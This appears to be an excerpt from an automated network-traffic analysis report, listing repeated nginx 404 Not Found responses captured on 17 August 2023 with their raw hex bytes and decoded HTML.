Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:41 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:43 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:46 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:48 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:53 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:55 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:57 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:59 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:05 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
